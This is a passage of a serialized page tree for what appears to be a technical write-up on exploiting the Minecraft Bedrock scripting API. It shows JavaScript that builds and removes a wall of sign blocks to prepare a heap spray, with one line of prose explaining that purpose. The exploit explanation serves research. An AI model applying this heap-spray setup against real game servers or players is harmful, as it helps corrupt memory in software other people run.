],{"type":23,"tag":141,"props":149094,"children":149095},{"style":154},[149096],{"type":29,"value":299},{"type":23,"tag":141,"props":149098,"children":149099},{"class":143,"line":2459},[149100],{"type":23,"tag":141,"props":149101,"children":149102},{"emptyLinePlaceholder":15},[149103],{"type":29,"value":719},{"type":23,"tag":141,"props":149105,"children":149106},{"class":143,"line":2467},[149107,149112,149116,149120,149124,149128,149132,149137],{"type":23,"tag":141,"props":149108,"children":149109},{"style":750},[149110],{"type":29,"value":149111}," sign",{"type":23,"tag":141,"props":149113,"children":149114},{"style":154},[149115],{"type":29,"value":322},{"type":23,"tag":141,"props":149117,"children":149118},{"style":750},[149119],{"type":29,"value":148765},{"type":23,"tag":141,"props":149121,"children":149122},{"style":154},[149123],{"type":29,"value":322},{"type":23,"tag":141,"props":149125,"children":149126},{"style":184},[149127],{"type":29,"value":148845},{"type":23,"tag":141,"props":149129,"children":149130},{"style":154},[149131],{"type":29,"value":192},{"type":23,"tag":141,"props":149133,"children":149134},{"style":828},[149135],{"type":29,"value":149136},"\"\"",{"type":23,"tag":141,"props":149138,"children":149139},{"style":154},[149140],{"type":29,"value":2496},{"type":23,"tag":141,"props":149142,"children":149143},{"class":143,"line":2499},[149144,149148,149152,149156,149160,149164],{"type":23,"tag":141,"props":149145,"children":149146},{"style":750},[149147],{"type":29,"value":149111},{"type":23,"tag":141,"props":149149,"children":149150},{"style":154},[149151],{"type":29,"value":322},{"type":23,"tag":141,"props":149153,"children":149154},{"style":750},[149155],{"type":29,"value":148774},{"type":23,"tag":141,"props":149157,"children":149158},{"style":160},[149159],{"type":29,"value":1674},{"type":23,"tag":141,"props":149161,"children":149162},{"style":449},[149163],{"type":29,"value":7735},{"type":23,"tag":141,"props":149165,"children":149166},{"style":154},[149167],{"type":29,"value":1684},{"type":23,"tag":141,"props":149169,"children":149170},{"class":143,"line":2507},[149171],{"type":23,"tag":141,"props":149172,"children":149173},{"emptyLinePlaceholder":15},[149174],{"type":29,"value":719},{"type":23,"tag":141,"props":149176,"children":149177},{"class":143,"line":2567},[149178,149182,149186,149191,149195,149200],{"type":23,"tag":141,"props":149179,"children":149180},{"style":750},[149181],{"type":29,"value":149111},{"type":23,"tag":141,"props":149183,"children":149184},{"style":154},[149185],{"type":29,"value":322},{"type":23,"tag":141,"props":149187,"children":149188},{"style":750},[149189],{"type":29,"value":149190},"block",{"type":23,"tag":141,"props":149192,"children":149193},{"style":154},[149194],{"type":29,"value":322},{"type":23,"tag":141,"props":149196,"children":149197},{"style":184},[149198],{"type":29,"value":149199},"setPermutation",{"type":23,"tag":141,"props":149201,"children":149202},{"style":154},[149203],{"type":29,"value":2123},{"type":23,"tag":141,"props":149205,"children":149206},{"class":143,"line":7724},[149207,149212,149216,149221,149225,149230],{"type":23,"tag":141,"props":149208,"children":149209},{"style":750},[149210],{"type":29,"value":149211}," BlockPermutation",{"type":23,"tag":141,"props":149213,"children":149214},{"style":154},[149215],{"type":29,"value":322},{"type":23,"tag":141,"props":149217,"children":149218},{"style":184},[149219],{"type":29,"value":149220},"resolve",{"type":23,"tag":141,"props":149222,"children":149223},{"style":154},[149224],{"type":29,"value":192},{"type":23,"tag":141,"props":149226,"children":149227},{"style":828},[149228],{"type":29,"value":149229},"\"minecraft:air\"",{"type":23,"tag":141,"props":149231,"children":149232},{"style":154},[149233],{"type":29,"value":758},{"type":23,"tag":141,"props":149235,"children":149236},{"class":143,"line":7742},[149237],{"type":23,"tag":141,"props":149238,"children":149239},{"style":154},[149240],{"type":29,"value":42131},{"type":23,"tag":141,"props":149242,"children":149243},{"class":143,"line":7787},[149244,149248,149252,149256,149260,149264],{"type":23,"tag":141,"props":149245,"children":149246},{"style":750},[149247],{"type":29,"value":149111},{"type":23,"tag":141,"props":149249,"children":149250},{"style":154},[149251],{"type":29,"value":322},{"type":23,"tag":141,"props":149253,"children":149254},{"style":750},[149255],{"type":29,"value":131450},{"type":23,"tag":141,"props":149257,"children":149258},{"style":160},[149259],{"type":29,"value":1674},{"type":23,"tag":141,"props":149261,"children":149262},{"style":449},[149263],{"type":29,"value":11148},{"type":23,"tag":141,"props":149265,"children":149266},{"style":154},[149267],{"type":29,"value":1684},{"type":23,"tag":141,"props":149269,"children":149270},{"class":143,"line":7893},[149271],{"type":23,"tag":141,"props":149272,"children":149273},{"style":154},[149274],{"type":29,"value":2573},{"type":23,"tag":32,"props":149276,"children":149277},{},[149278,149280,149286],{"type":29,"value":149279},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":23,"tag":38,"props":149281,"children":149283},{"className":149282},[],[149284],{"type":29,"value":149285},"signs",{"type":29,"value":149287}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":23,"tag":131,"props":149289,"children":149291},{"code":149290,"language":34086,"meta":7,"className":34084,"style":7},"let signs;\n\nfunction create_wall() {\n signs = [];\n\n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n [...]\n \n const sign_block = world\n .getDimension(\"overworld\")\n .getBlock(sign_location);\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:wall_sign\", {\n facing_direction: 3\n }\n ));\n let sign_component = sign_block\n .getComponent(BlockComponentTypes.Sign);\n\n signs.push({\n sign: sign_component,\n allocated: false,\n block: sign_block,\n removed: false\n });\n }\n }\n}\n\nfunction remove_wall() {\n signs = [];\n \n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n \n [...]\n \n const sign_block = await wait_for_block(\n world.getDimension(\"overworld\"),\n sign_location\n );\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n\n [...]\n }\n }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n remove_wall();\n});\n",[149292],{"type":23,"tag":38,"props":149293,"children":149294},{"__ignoreMap":7},[149295,149310,149317,149333,149350,149357,149419,149481,149488,149504,149512,149534,149560,149585,149605,149634,149646,149653,149661,149683,149717,149724,149744,149760,149776,149792,149804,149812,149819,149826,149833,149840,149856,149871,149878,149937,149996,150003,150018,150026,150054,150082,150090,150097,150116,150143,150150,150157,150172,150179,150186,150193,150200,150256,150268,150275,150282,150343,150355],{"type":23,"tag":141,"props":149296,"children":149297},{"class":143,"line":144},[149298,149302,149306],{"type":23,"tag":141,"props":149299,"children":149300},{"style":449},[149301],{"type":29,"value":10467},{"type":23,"tag":141,"props":149303,"children":149304},{"style":750},[149305],{"type":29,"value":148745},{"type":23,"tag":141,"props":149307,"children":149308},{"style":154},[149309],{"type":29,"value":1684},{"type":23,"tag":141,"props":149311,"children":149312},{"class":143,"line":180},[149313],{"type":23,"tag":141,"props":149314,"children":149315},{"emptyLinePlaceholder":15},[149316],{"type":29,"value":719},{"type":23,"tag":141,"props":149318,"children":149319},{"class":143,"line":205},[149320,149324,149329],{"type":23,"tag":141,"props":149321,"children":149322},{"style":449},[149323],{"type":29,"value":29845},{"type":23,"tag":141,"props":149325,"children":149326},{"style":184},[149327],{"type":29,"value":149328}," create_wall",{"type":23,"tag":141,"props":149330,"children":149331},{"style":154},[149332],{"type":29,"value":14412},{"type":23,"tag":141,"props":149334,"children":149335},{"class":143,"line":218},[149336,149341,149345],{"type":23,"tag":141,"props":149337,"children":149338},{"style":750},[149339],{"type":29,"value":149340}," signs",{"type":23,"tag":141,"props":149342,"children":149343},{"style":160},[149344],{"type":29,"value":1674},{"type":23,"tag":141,"props":149346,"children":149347},{"style":154},[149348],{"type":29,"value":149349}," [];\n",{"type":23,"tag":141,"props":149351,"children":149352},{"class":143,"line":227},[149353],{"type":23,"tag":141,"props":149354,"children":149355},{"emptyLinePlaceholder":15},[149356],{"type":29,"value":719},{"type":23,"tag":141,"props":149358,"children":149359},{"class":143,"line":241},[149360,149364,149368,149372,149377,149381,149385,149389,149394,149398,149403,149407,149411,149415],{"type":23,"tag":141,"props":149361,"children":149362},{"style":148},[149363],{"type":29,"value":1692},{"type":23,"tag":141,"props":149365,"children":149366},{"style":154},[149367],{"type":29,"value":1220},{"type":23,"tag":141,"props":149369,"children":149370},{"style":449},[149371],{"type":29,"value":10467},{"type":23,"tag":141,"props":149373,"children":149374},{"style":750},[149375],{"type":29,"value":149376}," current_y",{"type":23,"tag":141,"props":149378,"children":149379},{"style":160},[149380],{"type":29,"value":1674},{"type":23,"tag":141,"props":149382,"children":149383},{"style":472},[149384],{"type":29,"value":1707},{"type":23,"tag":141,"props":149386,"children":149387},{"style":154},[149388],{"type":29,"value":15903},{"type":23,"tag":141,"props":149390,"children":149391},{"style":750},[149392],{"type":29,"value":149393},"current_y",{"type":23,"tag":141,"props":149395,"children":149396},{"style":160},[149397],{"type":29,"value":7395},{"type":23,"tag":141,"props":149399,"children":149400},{"style":750},[149401],{"type":29,"value":149402}," WALL_HEIGHT",{"type":23,"tag":141,"props":149404,"children":149405},{"style":154},[149406],{"type":29,"value":15903},{"type":23,"tag":141,"props":149408,"children":149409},{"style":750},[149410],{"type":29,"value":149393},{"type":23,"tag":141,"props":149412,"children":149413},{"style":160},[149414],{"type":29,"value":49748},{"type":23,"tag":141,"props":149416,"children":149417},{"style":154},[149418],{"type":29,"value":13480},{"type":23,"tag":141,"props":149420,"children":149421},{"class":143,"line":262},[149422,149426,149430,149434,149439,149443,149447,149451,149456,149460,149465,149469,149473,149477],{"type":23,"tag":141,"props":149423,"children":149424},{"style":148},[149425],{"type":29,"value":59057},{"type":23,"tag":141,"props":149427,"children":149428},{"style":154},[149429],{"type":29,"value":1220},{"type":23,"tag":141,"props":149431,"children":149432},{"style":449},[149433],{"type":29,"value":10467},{"type":23,"tag":141,"props":149435,"children":149436},{"style":750},[149437],{"type":29,"value":149438}," current_x",{"type":23,"tag":141,"props":149440,"children":149441},{"style":160},[149442],{"type":29,"value":1674},{"type":23,"tag":141,"props":149444,"children":149445},{"style":472},[149446],{"type":29,"value":1707},{"type":23,"tag":141,"props":149448,"children":149449},{"style":154},[149450],{"type":29,"value":15903},{"type":23,"tag":141,"props":149452,"children":149453},{"style":750},[149454],{"type":29,"value":149455},"current_x",{"type":23,"tag":141,"props":149457,"children":149458},{"style":160},[149459],{"type":29,"value":7395},{"type":23,"tag":141,"props":149461,"children":149462},{"style":750},[149463],{"type":29,"value":149464}," WALL_WIDTH",{"type":23,"tag":141,"props":149466,"children":149467},{"style":154},[149468],{"type":29,"value":15903},{"type":23,"tag":141,"props":149470,"children":149471},{"style":750},[149472],{"type":29,"value":149455},{"type":23,"tag":141,"props":149474,"children":149475},{"style":160},[149476],{"type":29,"value":49748},{"type":23,"tag":141,"props":149478,"children":149479},{"style":154},[149480],{"type":29,"value":13480},{"type":23,"tag":141,"props":149482,"children":149483},{"class":143,"line":271},[149484],{"type":23,"tag":141,"props":149485,"children":149486},{"emptyLinePlaceholder":15},[149487],{"type":29,"value":719},{"type":23,"tag":141,"props":149489,"children":149490},{"class":143,"line":293},[149491,149496,149500],{"type":23,"tag":141,"props":149492,"children":149493},{"style":154},[149494],{"type":29,"value":149495}," [",{"type":23,"tag":141,"props":149497,"children":149498},{"style":160},[149499],{"type":29,"value":8269},{"type":23,"tag":141,"props":149501,"children":149502},{"style":154},[149503],{"type":29,"value":10452},{"type":23,"tag":141,"props":149505,"children":149506},{"class":143,"line":801},[149507],{"type":23,"tag":141,"props":149508,"children":149509},{"style":154},[149510],{"type":29,"value":149511}," \n",{"type":23,"tag":141,"props":149513,"children":149514},{"class":143,"line":810},[149515,149520,149525,149529],{"type":23,"tag":141,"props":149516,"children":149517},{"style":449},[149518],{"type":29,"value":149519}," const",{"type":23,"tag":141,"props":149521,"children":149522},{"style":750},[149523],{"type":29,"value":149524}," sign_block",{"type":23,"tag":141,"props":149526,"children":149527},{"style":160},[149528],{"type":29,"value":1674},{"type":23,"tag":141,"props":149530,"children":149531},{"style":750},[149532],{"type":29,"value":149533}," world\n",{"type":23,"tag":141,"props":149535,"children":149536},{"class":143,"line":824},[149537,149542,149547,149551,149556],{"type":23,"tag":141,"props":149538,"children":149539},{"style":154},[149540],{"type":29,"value":149541}," .",{"type":23,"tag":141,"props":149543,"children":149544},{"style":184},[149545],{"type":29,"value":149546},"getDimension",{"type":23,"tag":141,"props":149548,"children":149549},{"style":154},[149550],{"type":29,"value":192},{"type":23,"tag":141,"props":149552,"children":149553},{"style":828},[149554],{"type":29,"value":149555},"\"overworld\"",{"type":23,"tag":141,"props":149557,"children":149558},{"style":154},[149559],{"type":29,"value":758},{"type":23,"tag":141,"props":149561,"children":149562},{"class":143,"line":839},[149563,149567,149572,149576,149581],{"type":23,"tag":141,"props":149564,"children":149565},{"style":154},[149566],{"type":29,"value":149541},{"type":23,"tag":141,"props":149568,"children":149569},{"style":184},[149570],{"type":29,"value":149571},"getBlock",{"type":23,"tag":141,"props":149573,"children":149574},{"style":154},[149575],{"type":29,"value":192},{"type":23,"tag":141,"props":149577,"children":149578},{"style":750},[149579],{"type":29,"value":149580},"sign_location",{"type":23,"tag":141,"props":149582,"children":149583},{"style":154},[149584],{"type":29,"value":2496},{"type":23,"tag":141,"props":149586,"children":149587},{"class":143,"line":848},[149588,149593,149597,149601],{"type":23,"tag":141,"props":149589,"children":149590},{"style":750},[149591],{"type":29,"value":149592}," sign_block",{"type":23,"tag":141,"props":149594,"children":149595},{"style":154},[149596],{"type":29,"value":322},{"type":23,"tag":141,"props":149598,"children":149599},{"style":184},[149600],{"type":29,"value":149199},{"type":23,"tag":141,"props":149602,"children":149603},{"style":154},[149604],{"type":29,"value":2123},{"type":23,"tag":141,"props":149606,"children":149607},{"class":143,"line":2304},[149608,149613,149617,149621,149625,149630],{"type":23,"tag":141,"props":149609,"children":149610},{"style":750},[149611],{"type":29,"value":149612}," BlockPermutation",{"type":23,"tag":141,"props":149614,"children":149615},{"style":154},[149616],{"type":29,"value":322},{"type":23,"tag":141,"props":149618,"children":149619},{"style":184},[149620],{"type":29,"value":149220},{"type":23,"tag":141,"props":149622,"children":149623},{"style":154},[149624],{"type":29,"value":192},{"type":23,"tag":141,"props":149626,"children":149627},{"style":828},[149628],{"type":29,"value":149629},"\"minecraft:wall_sign\"",{"type":23,"tag":141,"props":149631,"children":149632},{"style":154},[149633],{"type":29,"value":47360},{"type":23,"tag":141,"props":149635,"children":149636},{"class":143,"line":2313},[149637,149642],{"type":23,"tag":141,"props":149638,"children":149639},{"style":750},[149640],{"type":29,"value":149641}," facing_direction:",{"type":23,"tag":141,"props":149643,"children":149644},{"style":472},[149645],{"type":29,"value":17998},{"type":23,"tag":141,"props":149647,"children":149648},{"class":143,"line":2335},[149649],{"type":23,"tag":141,"props":149650,"children":149651},{"style":154},[149652],{"type":29,"value":69554},{"type":23,"tag":141,"props":149654,"children":149655},{"class":143,"line":2343},[149656],{"type":23,"tag":141,"props":149657,"children":149658},{"style":154},[149659],{"type":29,"value":149660}," ));\n",{"type":23,"tag":141,"props":149662,"children":149663},{"class":143,"line":2352},[149664,149669,149674,149678],{"type":23,"tag":141,"props":149665,"children":149666},{"style":449},[149667],{"type":29,"value":149668}," let",{"type":23,"tag":141,"props":149670,"children":149671},{"style":750},[149672],{"type":29,"value":149673}," sign_component",{"type":23,"tag":141,"props":149675,"children":149676},{"style":160},[149677],{"type":29,"value":1674},{"type":23,"tag":141,"props":149679,"children":149680},{"style":750},[149681],{"type":29,"value":149682}," sign_block\n",{"type":23,"tag":141,"props":149684,"children":149685},{"class":143,"line":2421},[149686,149690,149695,149699,149704,149708,149713],{"type":23,"tag":141,"props":149687,"children":149688},{"style":154},[149689],{"type":29,"value":149541},{"type":23,"tag":141,"props":149691,"children":149692},{"style":184},[149693],{"type":29,"value":149694},"getComponent",{"type":23,"tag":141,"props":149696,"children":149697},{"style":154},[149698],{"type":29,"value":192},{"type":23,"tag":141,"props":149700,"children":149701},{"style":750},[149702],{"type":29,"value":149703},"BlockComponentTypes",{"type":23,"tag":141,"props":149705,"children":149706},{"style":154},[149707],{"type":29,"value":322},{"type":23,"tag":141,"props":149709,"children":149710},{"style":750},[149711],{"type":29,"value":149712},"Sign",{"type":23,"tag":141,"props":149714,"children":149715},{"style":154},[149716],{"type":29,"value":2496},{"type":23,"tag":141,"props":149718,"children":149719},{"class":143,"line":2429},[149720],{"type":23,"tag":141,"props":149721,"children":149722},{"emptyLinePlaceholder":15},[149723],{"type":29,"value":719},{"type":23,"tag":141,"props":149725,"children":149726},{"class":143,"line":2459},[149727,149732,149736,149740],{"type":23,"tag":141,"props":149728,"children":149729},{"style":750},[149730],{"type":29,"value":149731}," signs",{"type":23,"tag":141,"props":149733,"children":149734},{"style":154},[149735],{"type":29,"value":322},{"type":23,"tag":141,"props":149737,"children":149738},{"style":184},[149739],{"type":29,"value":2482},{"type":23,"tag":141,"props":149741,"children":149742},{"style":154},[149743],{"type":29,"value":13817},{"type":23,"tag":141,"props":149745,"children":149746},{"class":143,"line":2467},[149747,149752,149756],{"type":23,"tag":141,"props":149748,"children":149749},{"style":750},[149750],{"type":29,"value":149751}," sign:",{"type":23,"tag":141,"props":149753,"children":149754},{"style":750},[149755],{"type":29,"value":149673},{"type":23,"tag":141,"props":149757,"children":149758},{"style":154},[149759],{"type":29,"value":2168},{"type":23,"tag":141,"props":149761,"children":149762},{"class":143,"line":2499},[149763,149768,149772],{"type":23,"tag":141,"props":149764,"children":149765},{"style":750},[149766],{"type":29,"value":149767}," allocated:",{"type":23,"tag":141,"props":149769,"children":149770},{"style":449},[149771],{"type":29,"value":7735},{"type":23,"tag":141,"props":149773,"children":149774},{"style":154},[149775],{"type":29,"value":2168},{"type":23,"tag":141,"props":149777,"children":149778},{"class":143,"line":2507},[149779,149784,149788],{"type":23,"tag":141,"props":149780,"children":149781},{"style":750},[149782],{"type":29,"value":149783}," block:",{"type":23,"tag":141,"props":149785,"children":149786},{"style":750},[149787],{"type":29,"value":149524},{"type":23,"tag":141,"props":149789,"children":149790},{"style":154},[149791],{"type":29,"value":2168},{"type":23,"tag":141,"props":149793,"children":149794},{"class":143,"line":2567},[149795,149800],{"type":23,"tag":141,"props":149796,"children":149797},{"style":750},[149798],{"type":29,"value":149799}," removed:",{"type":23,"tag":141,"props":149801,"children":149802},{"style":449},[149803],{"type":29,"value":10990},{"type":23,"tag":141,"props":149805,"children":149806},{"class":143,"line":7724},[149807],{"type":23,"tag":141,"props":149808,"children":149809},{"style":154},[149810],{"type":29,"value":149811}," });\n",{"type":23,"tag":141,"props":149813,"children":149814},{"class":143,"line":7742},[149815],{"type":23,"tag":141,"props":149816,"children":149817},{"style":154},[149818],{"type":29,"value":2008},{"type":23,"tag":141,"props":149820,"children":149821},{"class":143,"line":7787},[149822],{"type":23,"tag":141,"props":149823,"children":149824},{"style":154},[149825],{"type":29,"value":299},{"type":23,"tag":141,"props":149827,"children":149828},{"class":143,"line":7893},[149829],{"type":23,"tag":141,"props":149830,"children":149831},{"style":154},[149832],{"type":29,"value":2573},{"type":23,"tag":141,"props":149834,"children":149835},{"class":143,"line":22181},[149836],{"type":23,"tag":141,"props":149837,"children":149838},{"emptyLinePlaceholder":15},[149839],{"type":29,"value":719},{"type":23,"tag":141,"props":149841,"children":149842},{"class":143,"line":22216},[149843,149847,149852],{"type":23,"tag":141,"props":149844,"children":149845},{"style":449},[149846],{"type":29,"value":29845},{"type":23,"tag":141,"props":149848,"children":149849},{"style":184},[149850],{"type":29,"value":149851}," remove_wall",{"type":23,"tag":141,"props":149853,"children":149854},{"style":154},[149855],{"type":29,"value":14412},{"type":23,"tag":141,"props":149857,"children":149858},{"class":143,"line":22224},[149859,149863,149867],{"type":23,"tag":141,"props":149860,"children":149861},{"style":750},[149862],{"type":29,"value":149340},{"type":23,"tag":141,"props":149864,"children":149865},{"style":160},[149866],{"type":29,"value":1674},{"type":23,"tag":141,"props":149868,"children":149869},{"style":154},[149870],{"type":29,"value":149349},{"type":23,"tag":141,"props":149872,"children":149873},{"class":143,"line":22232},[149874],{"type":23,"tag":141,"props":149875,"children":149876},{"style":154},[149877],{"type":29,"value":60267},{"type":23,"tag":141,"props":149879,"children":149880},{"class":143,"line":22241},[149881,149885,149889,149893,149897,149901,149905,149909,149913,149917,149921,149925,149929,149933],{"type":23,"tag":141,"props":149882,"children":149883},{"style":148},[149884],{"type":29,"value":1692},{"type":23,"tag":141,"props":149886,"children":149887},{"style":154},[149888],{"type":29,"value":1220},{"type":23,"tag":141,"props":149890,"children":149891},{"style":449},[149892],{"type":29,"value":10467},{"type":23,"tag":141,"props":149894,"children":149895},{"style":750},[149896],{"type":29,"value":149376},{"type":23,"tag":141,"props":149898,"children":149899},{"style":160},[149900],{"type":29,"value":1674},{"type":23,"tag":141,"props":149902,"children":149903},{"style":472},[149904],{"type":29,"value":1707},{"type":23,"tag":141,"props":149906,"children":149907},{"style":154},[149908],{"type":29,"value":15903},{"type":23,"tag":141,"props":149910,"children":149911},{"style":750},[149912],{"type":29,"value":149393},{"type":23,"tag":141,"props":149914,"children":149915},{"style":160},[149916],{"type":29,"value":7395},{"type":23,"tag":141,"props":149918,"children":149919},{"style":750},[149920],{"type":29,"value":149402},{"type":23,"tag":141,"props":149922,"children":149923},{"style":154},[149924],{"type":29,"value":15903},{"type":23,"tag":141,"props":149926,"children":149927},{"style":750},[149928],{"type":29,"value":149393},{"type":23,"tag":141,"props":149930,"children":149931},{"style":160},[149932],{"type":29,"value":49748},{"type":23,"tag":141,"props":149934,"children":149935},{"style":154},[149936],{"type":29,"value":13480},{"type":23,"tag":141,"props":149938,"children":149939},{"class":143,"line":22283},[149940,149944,149948,149952,149956,149960,149964,149968,149972,149976,149980,149984,149988,149992],{"type":23,"tag":141,"props":149941,"children":149942},{"style":148},[149943],{"type":29,"value":59057},{"type":23,"tag":141,"props":149945,"children":149946},{"style":154},[149947],{"type":29,"value":1220},{"type":23,"tag":141,"props":149949,"children":149950},{"style":449},[149951],{"type":29,"value":10467},{"type":23,"tag":141,"props":149953,"children":149954},{"style":750},[149955],{"type":29,"value":149438},{"type":23,"tag":141,"props":149957,"children":149958},{"style":160},[149959],{"type":29,"value":1674},{"type":23,"tag":141,"props":149961,"children":149962},{"style":472},[149963],{"type":29,"value":1707},{"type":23,"tag":141,"props":149965,"children":149966},{"style":154},[149967],{"type":29,"value":15903},{"type":23,"tag":141,"props":149969,"children":149970},{"style":750},[149971],{"type":29,"value":149455},{"type":23,"tag":141,"props":149973,"children":149974},{"style":160},[149975],{"type":29,"value":7395},{"type":23,"tag":141,"props":149977,"children":149978},{"style":750},[149979],{"type":29,"value":149464},{"type":23,"tag":141,"props":149981,"children":149982},{"style":154},[149983],{"type":29,"value":15903},{"type":23,"tag":141,"props":149985,"children":149986},{"style":750},[149987],{"type":29,"value":149455},{"type":23,"tag":141,"props":149989,"children":149990},{"style":160},[149991],{"type":29,"value":49748},{"type":23,"tag":141,"props":149993,"children":149994},{"style":154},[149995],{"type":29,"value":13480},{"type":23,"tag":141,"props":149997,"children":149998},{"class":143,"line":22316},[149999],{"type":23,"tag":141,"props":150000,"children":150001},{"style":154},[150002],{"type":29,"value":149511},{"type":23,"tag":141,"props":150004,"children":150005},{"class":143,"line":22324},[150006,150010,150014],{"type":23,"tag":141,"props":150007,"children":150008},{"style":154},[150009],{"type":29,"value":149495},{"type":23,"tag":141,"props":150011,"children":150012},{"style":160},[150013],{"type":29,"value":8269},{"type":23,"tag":141,"props":150015,"children":150016},{"style":154},[150017],{"type":29,"value":10452},{"type":23,"tag":141,"props":150019,"children":150020},{"class":143,"line":22332},[150021],{"type":23,"tag":141,"props":150022,"children":150023},{"style":154},[150024],{"type":29,"value":150025}," \n",{"type":23,"tag":141,"props":150027,"children":150028},{"class":143,"line":22341},[150029,150033,150037,150041,150045,150050],{"type":23,"tag":141,"props":150030,"children":150031},{"style":449},[150032],{"type":29,"value":149519},{"type":23,"tag":141,"props":150034,"children":150035},{"style":750},[150036],{"type":29,"value":149524},{"type":23,"tag":141,"props":150038,"children":150039},{"style":160},[150040],{"type":29,"value":1674},{"type":23,"tag":141,"props":150042,"children":150043},{"style":148},[150044],{"type":29,"value":34682},{"type":23,"tag":141,"props":150046,"children":150047},{"style":184},[150048],{"type":29,"value":150049}," wait_for_block",{"type":23,"tag":141,"props":150051,"children":150052},{"style":154},[150053],{"type":29,"value":2123},{"type":23,"tag":141,"props":150055,"children":150056},{"class":143,"line":22417},[150057,150062,150066,150070,150074,150078],{"type":23,"tag":141,"props":150058,"children":150059},{"style":750},[150060],{"type":29,"value":150061}," world",{"type":23,"tag":141,"props":150063,"children":150064},{"style":154},[150065],{"type":29,"value":322},{"type":23,"tag":141,"props":150067,"children":150068},{"style":184},[150069],{"type":29,"value":149546},{"type":23,"tag":141,"props":150071,"children":150072},{"style":154},[150073],{"type":29,"value":192},{"type":23,"tag":141,"props":150075,"children":150076},{"style":828},[150077],{"type":29,"value":149555},{"type":23,"tag":141,"props":150079,"children":150080},{"style":154},[150081],{"type":29,"value":5410},{"type":23,"tag":141,"props":150083,"children":150084},{"class":143,"line":22450},[150085],{"type":23,"tag":141,"props":150086,"children":150087},{"style":750},[150088],{"type":29,"value":150089}," sign_location\n",{"type":23,"tag":141,"props":150091,"children":150092},{"class":143,"line":22458},[150093],{"type":23,"tag":141,"props":150094,"children":150095},{"style":154},[150096],{"type":29,"value":123599},{"type":23,"tag":141,"props":150098,"children":150099},{"class":143,"line":22466},[150100,150104,150108,150112],{"type":23,"tag":141,"props":150101,"children":150102},{"style":750},[150103],{"type":29,"value":149592},{"type":23,"tag":141,"props":150105,"children":150106},{"style":154},[150107],{"type":29,"value":322},{"type":23,"tag":141,"props":150109,"children":150110},{"style":184},[150111],{"type":29,"value":149199},{"type":23,"tag":141,"props":150113,"children":150114},{"style":154},[150115],{"type":29,"value":2123},{"type":23,"tag":141,"props":150117,"children":150118},{"class":143,"line":22503},[150119,150123,150127,150131,150135,150139],{"type":23,"tag":141,"props":150120,"children":150121},{"style":750},[150122],{"type":29,"value":149612},{"type":23,"tag":141,"props":150124,"children":150125},{"style":154},[150126],{"type":29,"value":322},{"type":23,"tag":141,"props":150128,"children":150129},{"style":184},[150130],{"type":29,"value":149220},{"type":23,"tag":141,"props":150132,"children":150133},{"style":154},[150134],{"type":29,"value":192},{"type":23,"tag":141,"props":150136,"children":150137},{"style":828},[150138],{"type":29,"value":149229},{"type":23,"tag":141,"props":150140,"children":150141},{"style":154},[150142],{"type":29,"value":758},{"type":23,"tag":141,"props":150144,"children":150145},{"class":143,"line":22516},[150146],{"type":23,"tag":141,"props":150147,"children":150148},{"style":154},[150149],{"type":29,"value":123599},{"type":23,"tag":141,"props":150151,"children":150152},{"class":143,"line":22529},[150153],{"type":23,"tag":141,"props":150154,"children":150155},{"emptyLinePlaceholder":15},[150156],{"type":29,"value":719},{"type":23,"tag":141,"props":150158,"children":150159},{"class":143,"line":22542},[150160,150164,150168],{"type":23,"tag":141,"props":150161,"children":150162},{"style":154},[150163],{"type":29,"value":149495},{"type":23,"tag":141,"props":150165,"children":150166},{"style":160},[150167],{"type":29,"value":8269},{"type":23,"tag":141,"props":150169,"children":150170},{"style":154},[150171],{"type":29,"value":10452},{"type":23,"tag":141,"props":150173,"children":150174},{"class":143,"line":22596},[150175],{"type":23,"tag":141,"props":150176,"children":150177},{"style":154},[150178],{"type":29,"value":2008},{"type":23,"tag":141,"props":150180,"children":150181},{"class":143,"line":22605},[150182],{"type":23,"tag":141,"props":150183,"children":150184},{"style":154},[150185],{"type":29,"value":299},{"type":23,"tag":141,"props":150187,"children":150188},{"class":143,"line":30749},[150189],{"type":23,"tag":141,"props":150190,"children":150191},{"style":154},[150192],{"type":29,"value":2573},{"type":23,"tag":141,"props":150194,"children":150195},{"class":143,"line":30770},[150196],{"type":23,"tag":141,"props":150197,"children":150198},{"emptyLinePlaceholder":15},[150199],{"type":29,"value":719},{"type":23,"tag":141,"props":150201,"children":150202},{"class":143,"line":79436},[150203,150208,150212,150217,150221,150226,150230,150235,150239,150244,150248,150252],{"type":23,"tag":141,"props":150204,"children":150205},{"style":750},[150206],{"type":29,"value":150207},"world",{"type":23,"tag":141,"props":150209,"children":150210},{"style":154},[150211],{"type":29,"value":322},{"type":23,"tag":141,"props":150213,"children":150214},{"style":750},[150215],{"type":29,"value":150216},"afterEvents",{"type":23,"tag":141,"props":150218,"children":150219},{"style":154},[150220],{"type":29,"value":322},{"type":23,"tag":141,"props":150222,"children":150223},{"style":750},[150224],{"type":29,"value":150225},"playerSpawn",{"type":23,"tag":141,"props":150227,"children":150228},{"style":154},[150229],{"type":29,"value":322},{"type":23,"tag":141,"props":150231,"children":150232},{"style":184},[150233],{"type":29,"value":150234},"subscribe",{"type":23,"tag":141,"props":150236,"children":150237},{"style":154},[150238],{"type":29,"value":29991},{"type":23,"tag":141,"props":150240,"children":150241},{"style":750},[150242],{"type":29,"value":150243},"arg",{"type":23,"tag":141,"props":150245,"children":150246},{"style":154},[150247],{"type":29,"value":1748},{"type":23,"tag":141,"props":150249,"children":150250},{"style":449},[150251],{"type":29,"value":13498},{"type":23,"tag":141,"props":150253,"children":150254},{"style":154},[150255],{"type":29,"value":1951},{"type":23,"tag":141,"props":150257,"children":150258},{"class":143,"line":79449},[150259,150264],{"type":23,"tag":141,"props":150260,"children":150261},{"style":184},[150262],{"type":29,"value":150263}," 